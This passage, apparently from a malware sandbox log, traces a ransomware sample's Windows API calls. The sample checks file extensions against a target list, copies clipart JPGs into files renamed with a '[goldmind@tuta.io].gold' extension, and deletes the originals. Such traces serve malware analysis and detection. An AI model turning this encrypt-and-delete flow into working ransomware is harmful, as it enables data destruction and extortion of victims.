(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.037] lstrlenW (lpString=".dbf") returned 4 [0112.037] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.037] lstrlenW (lpString=".1cd") returned 4 [0112.037] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0112.037] lstrlenW (lpString=".jpg") returned 4 [0112.037] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.037] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.037] lstrlenW (lpString="J0177257.JPG") returned 12 [0112.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.052] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=45358) returned 1 [0112.052] CloseHandle (hObject=0x3d8) returned 1 [0112.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg")) returned 0x20 [0112.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0112.088] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.088] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.088] GetLastError () returned 0x0 [0112.088] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xb12e, lpOverlapped=0x0) returned 1 [0112.097] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xb130, lpOverlapped=0x0) returned 1 [0112.098] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.098] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.098] SetEndOfFile (hFile=0x3e0) returned 1 [0112.098] CloseHandle (hObject=0x3e0) returned 1 [0112.098] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.098] SetEndOfFile (hFile=0x3c8) returned 1 [0112.100] CloseHandle (hObject=0x3c8) returned 1 [0112.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg")) returned 1 [0112.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.101] lstrlenW (lpString=".doc") returned 4 [0112.101] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.101] lstrlenW (lpString=".docx") returned 5 [0112.101] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0112.101] lstrlenW (lpString=".pdf") returned 4 [0112.101] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.101] lstrlenW (lpString=".xls") returned 4 [0112.101] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.101] lstrlenW (lpString=".xlsx") returned 5 [0112.101] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0112.101] lstrlenW (lpString=".ppt") returned 4 [0112.101] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString=".zip") returned 4 [0112.102] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.102] lstrlenW (lpString=".rar") returned 4 [0112.102] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.102] lstrlenW (lpString=".bz2") returned 4 [0112.102] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.102] lstrlenW (lpString=".7z") returned 3 [0112.102] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString=".dbf") returned 4 [0112.102] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString=".1cd") returned 4 [0112.102] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString=".jpg") returned 4 [0112.102] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString=".doc") returned 4 [0112.102] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.102] lstrlenW (lpString=".docx") returned 5 [0112.102] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0112.102] lstrlenW (lpString=".pdf") returned 4 [0112.102] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.102] lstrlenW (lpString=".xls") returned 4 [0112.102] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.102] lstrlenW (lpString=".xlsx") returned 5 [0112.102] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0112.102] lstrlenW (lpString=".ppt") returned 4 [0112.102] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString=".zip") returned 4 [0112.102] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.102] lstrlenW (lpString=".rar") returned 4 [0112.102] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.102] lstrlenW (lpString=".bz2") returned 4 [0112.102] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.102] lstrlenW (lpString=".7z") returned 3 [0112.102] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString=".dbf") returned 4 [0112.102] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.102] lstrlenW (lpString=".1cd") returned 4 [0112.102] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0112.103] lstrlenW (lpString=".jpg") returned 4 [0112.103] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.103] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.103] lstrlenW (lpString="J0178460.JPG") returned 12 [0112.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0112.103] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=26531) returned 1 [0112.103] CloseHandle (hObject=0x3c8) returned 1 [0112.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg")) returned 0x20 [0112.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0112.104] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.104] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.480] GetLastError () returned 0x0 [0112.480] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x67a3, lpOverlapped=0x0) returned 1 [0112.482] WriteFile (in: hFile=0x380, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x67b0, lpOverlapped=0x0) returned 1 [0112.483] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.483] WriteFile (in: hFile=0x380, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.483] SetEndOfFile (hFile=0x380) returned 1 [0112.483] CloseHandle (hObject=0x380) returned 1 [0112.483] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.483] SetEndOfFile (hFile=0x3c8) returned 1 [0112.485] CloseHandle (hObject=0x3c8) returned 1 [0112.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg")) returned 1 [0112.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.486] lstrlenW (lpString=".doc") returned 4 [0112.486] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.487] lstrlenW (lpString=".docx") returned 5 [0112.487] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0112.487] lstrlenW (lpString=".pdf") returned 4 [0112.487] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.487] lstrlenW (lpString=".xls") returned 4 [0112.487] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.487] lstrlenW (lpString=".xlsx") returned 5 [0112.487] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0112.487] lstrlenW (lpString=".ppt") returned 4 [0112.487] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.487] lstrlenW (lpString=".zip") returned 4 [0112.487] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.487] lstrlenW (lpString=".rar") returned 4 [0112.487] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.487] lstrlenW (lpString=".bz2") returned 4 [0112.487] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.487] lstrlenW (lpString=".7z") returned 3 [0112.487] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.487] lstrlenW (lpString=".dbf") returned 4 [0112.487] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.487] lstrlenW (lpString=".1cd") returned 4 [0112.487] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.487] lstrlenW (lpString=".jpg") returned 4 [0112.487] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.487] lstrlenW (lpString=".doc") returned 4 [0112.487] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.487] lstrlenW (lpString=".docx") returned 5 [0112.487] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0112.487] lstrlenW (lpString=".pdf") returned 4 [0112.487] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.487] lstrlenW (lpString=".xls") returned 4 [0112.487] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.487] lstrlenW (lpString=".xlsx") returned 5 [0112.487] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0112.487] lstrlenW (lpString=".ppt") returned 4 [0112.487] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.488] lstrlenW (lpString=".zip") returned 4 [0112.488] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.488] lstrlenW (lpString=".rar") returned 4 [0112.488] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.488] lstrlenW (lpString=".bz2") returned 4 [0112.488] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.488] lstrlenW (lpString=".7z") returned 3 [0112.488] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.488] lstrlenW (lpString=".dbf") returned 4 [0112.488] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.488] lstrlenW (lpString=".1cd") returned 4 [0112.488] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0112.488] lstrlenW (lpString=".jpg") returned 4 [0112.488] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.489] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.489] lstrlenW (lpString="J0179963.JPG") returned 12 [0112.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.911] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=32110) returned 1 [0112.912] CloseHandle (hObject=0x3b4) returned 1 [0112.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg")) returned 0x20 [0112.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.912] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.912] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.913] GetLastError () returned 0x0 [0112.913] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x7d6e, lpOverlapped=0x0) returned 1 [0112.915] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7d70, lpOverlapped=0x0) returned 1 [0112.916] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.917] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.917] SetEndOfFile (hFile=0x3b8) returned 1 [0112.917] CloseHandle (hObject=0x3b8) returned 1 [0112.917] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.917] SetEndOfFile (hFile=0x3b4) returned 1 [0112.920] CloseHandle (hObject=0x3b4) returned 1 [0112.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg")) returned 1 [0112.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.922] lstrlenW (lpString=".doc") returned 4 [0112.922] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.922] lstrlenW (lpString=".docx") returned 5 [0112.922] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0112.922] lstrlenW (lpString=".pdf") returned 4 [0112.922] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.922] lstrlenW (lpString=".xls") returned 4 [0112.922] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.922] lstrlenW (lpString=".xlsx") returned 5 [0112.922] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0112.922] lstrlenW (lpString=".ppt") returned 4 [0112.922] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.922] lstrlenW (lpString=".zip") returned 4 [0112.922] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.922] lstrlenW (lpString=".rar") returned 4 [0112.922] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.922] lstrlenW (lpString=".bz2") returned 4 [0112.922] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.922] lstrlenW (lpString=".7z") returned 3 [0112.922] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.922] lstrlenW (lpString=".dbf") returned 4 [0112.922] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.922] lstrlenW (lpString=".1cd") returned 4 [0112.922] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.922] lstrlenW (lpString=".jpg") returned 4 [0112.922] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.923] lstrlenW (lpString=".doc") returned 4 [0112.923] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.923] lstrlenW (lpString=".docx") returned 5 [0112.923] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0112.923] lstrlenW (lpString=".pdf") returned 4 [0112.923] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.923] lstrlenW (lpString=".xls") returned 4 [0112.923] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.923] lstrlenW (lpString=".xlsx") returned 5 [0112.923] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0112.923] lstrlenW (lpString=".ppt") returned 4 [0112.923] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.923] lstrlenW (lpString=".zip") returned 4 [0112.923] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.923] lstrlenW (lpString=".rar") returned 4 [0112.923] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.923] lstrlenW (lpString=".bz2") returned 4 [0112.923] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.923] lstrlenW (lpString=".7z") returned 3 [0112.923] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.923] lstrlenW (lpString=".dbf") returned 4 [0112.923] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.923] lstrlenW (lpString=".1cd") returned 4 [0112.923] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0112.923] lstrlenW (lpString=".jpg") returned 4 [0112.923] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.923] lstrcmpiW 